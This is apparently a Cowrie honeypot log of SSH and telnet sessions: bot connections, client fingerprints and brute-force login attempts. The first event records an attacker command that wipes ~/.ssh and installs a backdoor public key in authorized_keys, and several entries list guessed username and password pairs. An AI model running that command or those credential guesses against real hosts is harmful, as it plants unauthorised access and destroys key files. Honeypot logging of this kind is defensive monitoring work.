{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:25.160621Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:25.439592Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:25.443284Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":41810,"dst_ip":"159.203.135.109","dst_port":22,"session":"19954ec8b82e","protocol":"ssh","message":"New connection: 222.167.161.198:41810 (159.203.135.109:22) [session: 19954ec8b82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:25.707541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:25.712457Z","src_ip":"222.167.161.198","session":"19954ec8b82e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:25.986584Z","src_ip":"222.167.161.198","session":"19954ec8b82e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:27.105805Z","src_ip":"222.167.161.198","session":"19954ec8b82e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:28.380604Z","src_ip":"222.167.161.198","session":"19954ec8b82e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":41814,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f443e85881","protocol":"ssh","message":"New connection: 222.167.161.198:41814 (159.203.135.109:22) [session: a8f443e85881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:28.651572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:28.656519Z","src_ip":"222.167.161.198","session":"a8f443e85881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:28.933655Z","src_ip":"222.167.161.198","session":"a8f443e85881","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:30.060524Z","src_ip":"222.167.161.198","session":"a8f443e85881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:30.339921Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:30.344437Z","src_ip":"222.167.161.198","session":"a8f443e85881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":50846,"dst_ip":"159.203.135.109","dst_port":22,"session":"19412f475b40","protocol":"ssh","message":"New connection: 40.81.244.142:50846 (159.203.135.109:22) [session: 19412f475b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:34.225537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:34.229959Z","src_ip":"40.81.244.142","session":"19412f475b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:34.430016Z","src_ip":"40.81.244.142","session":"19412f475b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"test123","message":"login attempt [administrator/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:35.263233Z","src_ip":"40.81.244.142","session":"19412f475b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:36.465935Z","src_ip":"40.81.244.142","session":"19412f475b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":52070,"dst_ip":"159.203.135.109","dst_port":22,"session":"6304286038b4","protocol":"ssh","message":"New connection: 58.69.56.44:52070 (159.203.135.109:22) [session: 6304286038b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:57.158695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:57.167584Z","src_ip":"58.69.56.44","session":"6304286038b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:57.393946Z","src_ip":"58.69.56.44","session":"6304286038b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Zxc12345","message":"login attempt [ubuntu/Zxc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:58.355861Z","src_ip":"58.69.56.44","session":"6304286038b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:59.594563Z","src_ip":"58.69.56.44","session":"6304286038b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.44.182.162","src_port":37292,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce4ab3971faf","protocol":"telnet","message":"New connection: 194.44.182.162:37292 (10.17.0.5:23) [session: ce4ab3971faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:10.228504Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":38860,"dst_ip":"159.203.135.109","dst_port":22,"session":"7676bf76be1e","protocol":"ssh","message":"New connection: 96.70.252.227:38860 (159.203.135.109:22) [session: 7676bf76be1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:10.757865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:10.784375Z","src_ip":"96.70.252.227","session":"7676bf76be1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:10.811598Z","src_ip":"96.70.252.227","session":"7676bf76be1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testpass","message":"login attempt [ubuntu/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:10.984643Z","src_ip":"96.70.252.227","session":"7676bf76be1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:12.054136Z","src_ip":"96.70.252.227","session":"7676bf76be1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":49332,"dst_ip":"159.203.135.109","dst_port":22,"session":"243b0e76fb3e","protocol":"ssh","message":"New connection: 80.94.92.168:49332 (159.203.135.109:22) [session: 243b0e76fb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:22.848004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:23.002700Z","src_ip":"80.94.92.168","session":"243b0e76fb3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:23.005974Z","src_ip":"80.94.92.168","session":"243b0e76fb3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.287270069122314,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:23.515693Z","src_ip":"194.44.182.162","session":"ce4ab3971faf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:24.161031Z","src_ip":"80.94.92.168","session":"243b0e76fb3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:25.421593Z","src_ip":"80.94.92.168","session":"243b0e76fb3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":50026,"dst_ip":"159.203.135.109","dst_port":22,"session":"69b958af88c9","protocol":"ssh","message":"New connection: 222.167.161.198:50026 (159.203.135.109:22) [session: 69b958af88c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:26.077496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:26.082971Z","src_ip":"222.167.161.198","session":"69b958af88c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:26.355336Z","src_ip":"222.167.161.198","session":"69b958af88c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"changeme","message":"login attempt [mysql/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:27.461772Z","src_ip":"222.167.161.198","session":"69b958af88c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:28.733690Z","src_ip":"222.167.161.198","session":"69b958af88c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":59092,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c5521c5a6b","protocol":"ssh","message":"New connection: 40.81.244.142:59092 (159.203.135.109:22) [session: 19c5521c5a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:30:42.228845Z"}
